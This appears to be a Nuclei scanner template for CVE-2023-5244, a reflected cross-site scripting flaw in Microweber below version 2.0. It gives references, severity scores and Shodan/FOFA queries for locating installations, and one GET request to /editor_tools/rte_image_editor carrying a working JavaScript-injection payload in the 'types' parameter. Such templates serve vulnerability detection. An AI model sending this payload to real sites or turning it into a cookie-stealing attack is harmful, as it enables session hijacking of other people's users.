id: CVE-2023-5244

info:
  name: Microweber < V.2.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Reflected Cross-Site Scripting Vulnerability in types GET parameter on the /editor_tools/rte_image_editor endpoint.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the types parameter, potentially stealing user session cookies or performing actions on behalf of users.
  remediation: |
    Update Microweber to version 2.0 or later.
  reference:
    - https://huntr.dev/bounties/a3bd58ba-ca59-4cba-85d1-799f73a76470/
    - https://vuldb.com/?id.240778
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5244
    - https://github.com/microweber/microweber/commit/1cb846f8f54ff6f5c668f3ae64dd81740a7e8968
    - https://huntr.dev/bounties/a3bd58ba-ca59-4cba-85d1-799f73a76470
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-5244
    cwe-id: CWE-79
    epss-score: 0.01061
    epss-percentile: 0.60149
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2023,huntr,xss,microweber,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "alert(document.domain)", "microweber")'
        condition: and
# digest: 4b0a0048304602210094065c742a087d584be8d7b37dd07a92fc5638194124a9efee89b484870d9a54022100acad312c63642a596ee85bbeb26b2f4c4cfcbaa6857f287dde85a1187d97734e:922c64590222798bb761d5b6d8e72950